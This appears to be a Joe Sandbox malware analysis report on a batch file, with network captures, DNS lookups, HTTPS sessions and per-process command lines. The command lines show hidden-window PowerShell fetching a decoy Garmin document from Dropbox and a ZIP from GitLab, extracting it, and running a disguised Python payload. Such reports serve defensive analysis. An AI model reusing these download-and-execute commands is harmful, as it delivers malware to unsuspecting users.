                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.325144053 CET44349718172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.325175047 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.325221062 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.325967073 CET49718443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.327099085 CET49725443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.327146053 CET44349725172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.327294111 CET49725443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.327472925 CET49725443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.327483892 CET44349725172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.378710032 CET49725443192.168.2.5172.65.251.78
                                                                                                                                                                                                                  Dec 19, 2024 14:13:33.423330069 CET44349725172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:34.544734955 CET44349725172.65.251.78192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:34.544806004 CET49725443192.168.2.5172.65.251.78

                                                                                                                                                                                                                  UDP Packets

                                                                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.533333063 CET6443253192.168.2.51.1.1.1
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.670247078 CET53644321.1.1.1192.168.2.5
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.404361963 CET6067853192.168.2.51.1.1.1
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.542047024 CET53606781.1.1.1192.168.2.5

                                                                                                                                                                                                                  DNS Queries

                                                                                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.533333063 CET192.168.2.51.1.1.10xea00Standard query (0)www.dropbox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.404361963 CET192.168.2.51.1.1.10x591bStandard query (0)gitlab.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                                  DNS Answers

                                                                                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.670247078 CET1.1.1.1192.168.2.50xea00No error (0)www.dropbox.comwww-env.dropbox-dns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                  Dec 19, 2024 14:13:23.670247078 CET1.1.1.1192.168.2.50xea00No error (0)www-env.dropbox-dns.com162.125.69.18A (IP address)IN (0x0001)false
                                                                                                                                                                                                                  Dec 19, 2024 14:13:31.542047024 CET1.1.1.1192.168.2.50x591bNo error (0)gitlab.com172.65.251.78A (IP address)IN (0x0001)false

                                                                                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                                                                                  • www.dropbox.com
                                                                                                                                                                                                                  • gitlab.com

                                                                                                                                                                                                                  HTTPS Proxied Packets

                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                  0192.168.2.549704162.125.69.184435876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                  2024-12-19 13:13:25 UTC192OUTGET /scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1 HTTP/1.1
                                                                                                                                                                                                                  Host: www.dropbox.com
                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                  2024-12-19 13:13:26 UTC4091INHTTP/1.1 302 Found
                                                                                                                                                                                                                  Content-Security-Policy: font-src https://* data: ; img-src https://* data: blob: ; base-uri 'self' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; frame-ancestors 'self' https://*.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://ap [TRUNCATED]
                                                                                                                                                                                                                  Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                  Location: https://uc09529f5e3b244b4704aaf91c74.dl.dropboxusercontent.com/cd/0/get/CghQiQjJ6jJTz2MU_KT5dxuUuqFTZZ_Zs53t295aw75w7AjauTEqK30SykN8TmSeafu5swJ5Mab2AhaxHJ3jgrEVuGrM4mWoOROY0VYL-e8wr5qZbTTlHj65I1VMaOKmVS2HI8SPul9RCGKEpoxerojC/file?dl=1#
                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                  Referrer-Policy: strict-origin-when-cross-origin
                                                                                                                                                                                                                  Set-Cookie: gvc=MTkyNDE1OTA0NzQ1MzgzMjAyNjI1MTUyNzM1MzIyNzc2NTk5NTY0; Path=/; Expires=Tue, 18 Dec 2029 13:13:25 GMT; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                  Set-Cookie: t=-3tkG_x6ZoNW98J5UoGEppmG; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 13:13:25 GMT; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                  Set-Cookie: __Host-js_csrf=-3tkG_x6ZoNW98J5UoGEppmG; Path=/; Expires=Fri, 19 Dec 2025 13:13:25 GMT; Secure; SameSite=None
                                                                                                                                                                                                                  Set-Cookie: __Host-ss=QGqMNmWHYY; Path=/; Expires=Fri, 19 Dec 2025 13:13:25 GMT; HttpOnly; Secure; SameSite=Strict
                                                                                                                                                                                                                  Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 13:13:25 GMT
                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                  X-Permitted-Cross-Domain-Policies: none
                                                                                                                                                                                                                  X-Robots-Tag: noindex, nofollow, noimageindex
                                                                                                                                                                                                                  X-Xss-Protection: 1; mode=block
                                                                                                                                                                                                                  Content-Length: 17
                                                                                                                                                                                                                  Date: Thu, 19 Dec 2024 13:13:26 GMT
                                                                                                                                                                                                                  Strict-Transport-Security: max-age=31536000; includeSubDomains
                                                                                                                                                                                                                  Server: envoy
                                                                                                                                                                                                                  Cache-Control: no-cache, no-store
                                                                                                                                                                                                                  X-Dropbox-Response-Origin: far_remote
                                                                                                                                                                                                                  X-Dropbox-Request-Id: 43ead3bcdfc1487a9824711a74bf4673
                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                  2024-12-19 13:13:26 UTC17INData Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e
                                                                                                                                                                                                                  Data Ascii: ...status=302-->


                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                  1192.168.2.549718172.65.251.784433948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                  2024-12-19 13:13:32 UTC95OUTGET /garvdsf/dsfg/-/raw/main/FGa1712.zip HTTP/1.1
                                                                                                                                                                                                                  Host: gitlab.com
                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                  2024-12-19 13:13:33 UTC453INHTTP/1.1 302 Found
                                                                                                                                                                                                                  Date: Thu, 19 Dec 2024 13:13:33 GMT
                                                                                                                                                                                                                  Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                  Location: https://gitlab.com/users/sign_in
                                                                                                                                                                                                                  CF-Ray: 8f47a68d988d0f55-EWR
                                                                                                                                                                                                                  CF-Cache-Status: MISS
                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                  Set-Cookie: _gitlab_session=b63b5a9f1c6790266b82b202e43ef877; path=/; expires=Thu, 19 Dec 2024 15:13:33 GMT; secure; HttpOnly; SameSite=None
                                                                                                                                                                                                                  Strict-Transport-Security: max-age=31536000
                                                                                                                                                                                                                  2024-12-19 13:13:33 UTC2134INData Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f
                                                                                                                                                                                                                  Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
                                                                                                                                                                                                                  2024-12-19 13:13:33 UTC502INData Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 41 48 6d 79 73 72 64 34 46 62 77 69 35 48 76 6f 4f 68 25 32 42 59 6a 57 4e 4c 45 4f 6a 46 4c 35 38 79 4e 43 6b 64 62 52 54 50 41 38 4f 64 25 32 46 45 42 63 73 4c 56 67 35 5a 66 6c 56 30 72 56 38 68 57 78 64 45 6f 33 44 39 54 5a 79 6c 41 64 69 4c 6b 56 30 72 62 25 32 46 65 6a 68 70 68 6d 41 63 58 6d 61 57 58 4d 53 75 57 31 75 78 4d 63 4b 31 7a 71 54 25 32 46 77 7a 6e 6d 46 30 39 51 57 31 45 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c
                                                                                                                                                                                                                  Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AHmysrd4Fbwi5HvoOh%2BYjWNLEOjFL58yNCkdbRTPA8Od%2FEBcsLVg5ZflV0rV8hWxdEo3D9TZylAdiLkV0rb%2FejhphmAcXmaWXMSuW1uxMcK1zqT%2FwznmF09QW1E%3D"}],"group":"cf-nel","max_age":604800}NEL
                                                                                                                                                                                                                  2024-12-19 13:13:33 UTC104INData Raw: 36 32 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 75 73 65 72 73 2f 73 69 67 6e 5f 69 6e 22 3e 72 65 64 69 72 65 63 74 65 64 3c 2f 61 3e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                  Data Ascii: 62<html><body>You are being <a href="https://gitlab.com/users/sign_in">redirected</a>.</body></html>
                                                                                                                                                                                                                  2024-12-19 13:13:33 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                  Data Ascii: 0


                                                                                                                                                                                                                  Statistics

                                                                                                                                                                                                                  CPU Usage

                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                  Memory Usage

                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                                                                                  Behavior

                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                  System Behavior

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:0
                                                                                                                                                                                                                  Start time:08:13:14
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" "
                                                                                                                                                                                                                  Imagebase:0x7ff6867c0000
                                                                                                                                                                                                                  File size:289'792 bytes
                                                                                                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:1
                                                                                                                                                                                                                  Start time:08:13:14
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                  Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:3
                                                                                                                                                                                                                  Start time:08:13:15
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\chcp.com
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:chcp.com 437
                                                                                                                                                                                                                  Imagebase:0x7ff774c90000
                                                                                                                                                                                                                  File size:14'848 bytes
                                                                                                                                                                                                                  MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:4
                                                                                                                                                                                                                  Start time:08:13:15
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\find.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:find
                                                                                                                                                                                                                  Imagebase:0x7ff64f870000
                                                                                                                                                                                                                  File size:17'920 bytes
                                                                                                                                                                                                                  MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:5
                                                                                                                                                                                                                  Start time:08:13:15
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\find.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:find
                                                                                                                                                                                                                  Imagebase:0x7ff64f870000
                                                                                                                                                                                                                  File size:17'920 bytes
                                                                                                                                                                                                                  MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:6
                                                                                                                                                                                                                  Start time:08:13:15
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /c type tmp
                                                                                                                                                                                                                  Imagebase:0x7ff6867c0000
                                                                                                                                                                                                                  File size:289'792 bytes
                                                                                                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:7
                                                                                                                                                                                                                  Start time:08:13:15
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:findstr /L /I set "C:\Users\user\Desktop\hsfgdf17.bat"
                                                                                                                                                                                                                  Imagebase:0x7ff718a30000
                                                                                                                                                                                                                  File size:36'352 bytes
                                                                                                                                                                                                                  MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:8
                                                                                                                                                                                                                  Start time:08:13:15
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:findstr /L /I goto "C:\Users\user\Desktop\hsfgdf17.bat"
                                                                                                                                                                                                                  Imagebase:0x7ff718a30000
                                                                                                                                                                                                                  File size:36'352 bytes
                                                                                                                                                                                                                  MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:9
                                                                                                                                                                                                                  Start time:08:13:15
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:findstr /L /I echo "C:\Users\user\Desktop\hsfgdf17.bat"
                                                                                                                                                                                                                  Imagebase:0x7ff718a30000
                                                                                                                                                                                                                  File size:36'352 bytes
                                                                                                                                                                                                                  MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:10
                                                                                                                                                                                                                  Start time:08:13:15
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:findstr /L /I pause "C:\Users\user\Desktop\hsfgdf17.bat"
                                                                                                                                                                                                                  Imagebase:0x7ff718a30000
                                                                                                                                                                                                                  File size:36'352 bytes
                                                                                                                                                                                                                  MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:11
                                                                                                                                                                                                                  Start time:08:13:16
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /c type tmp
                                                                                                                                                                                                                  Imagebase:0x7ff6867c0000
                                                                                                                                                                                                                  File size:289'792 bytes
                                                                                                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:12
                                                                                                                                                                                                                  Start time:08:13:16
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"
                                                                                                                                                                                                                  Imagebase:0x7ff7be880000
                                                                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:13
                                                                                                                                                                                                                  Start time:08:13:28
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"
                                                                                                                                                                                                                  Imagebase:0x7ff7be880000
                                                                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:15
                                                                                                                                                                                                                  Start time:08:13:29
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"
                                                                                                                                                                                                                  Imagebase:0x7ff7be880000
                                                                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:16
                                                                                                                                                                                                                  Start time:08:13:39
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
                                                                                                                                                                                                                  Imagebase:0x7ff7be880000
                                                                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  General

                                                                                                                                                                                                                  Target ID:18
                                                                                                                                                                                                                  Start time:08:13:51
                                                                                                                                                                                                                  Start date:19/12/2024
                                                                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                  Commandline:powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"
                                                                                                                                                                                                                  Imagebase:0x7ff7be880000
                                                                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                  Disassembly

                                                                                                                                                                                                                  Reset < >

                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                    Function 00007FF848FF09CD Relevance: 2.0, Strings: 1, Instructions: 787COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000C.00000002.2267586022.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_12_2_7ff848ff0000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID: .A_H
                                                                                                                                                                                                                    • API String ID: 0-1440049375
                                                                                                                                                                                                                    • Opcode ID: 150a4ba0dacc981c14db47a21e7de9ad3364c4af73ec4919aaa511422befcfb8
                                                                                                                                                                                                                    • Instruction ID: 6069185a337de0b78e21ceaaa4442ce8cf9936d390dbb101aa8e4c71e7285047
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 150a4ba0dacc981c14db47a21e7de9ad3364c4af73ec4919aaa511422befcfb8
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B9320631D0EBCA5FE796BB2858552B57BE0EF96250F0800FBD64DC71D3EB18A8058356
                                                                                                                                                                                                                    Function 00007FF848FF354A Relevance: .4, Instructions: 409COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000C.00000002.2267586022.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_12_2_7ff848ff0000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: 4480cbf4713cfd801b3bb07badc668f31a2ddd8103193181bc059d6ae100a3a5
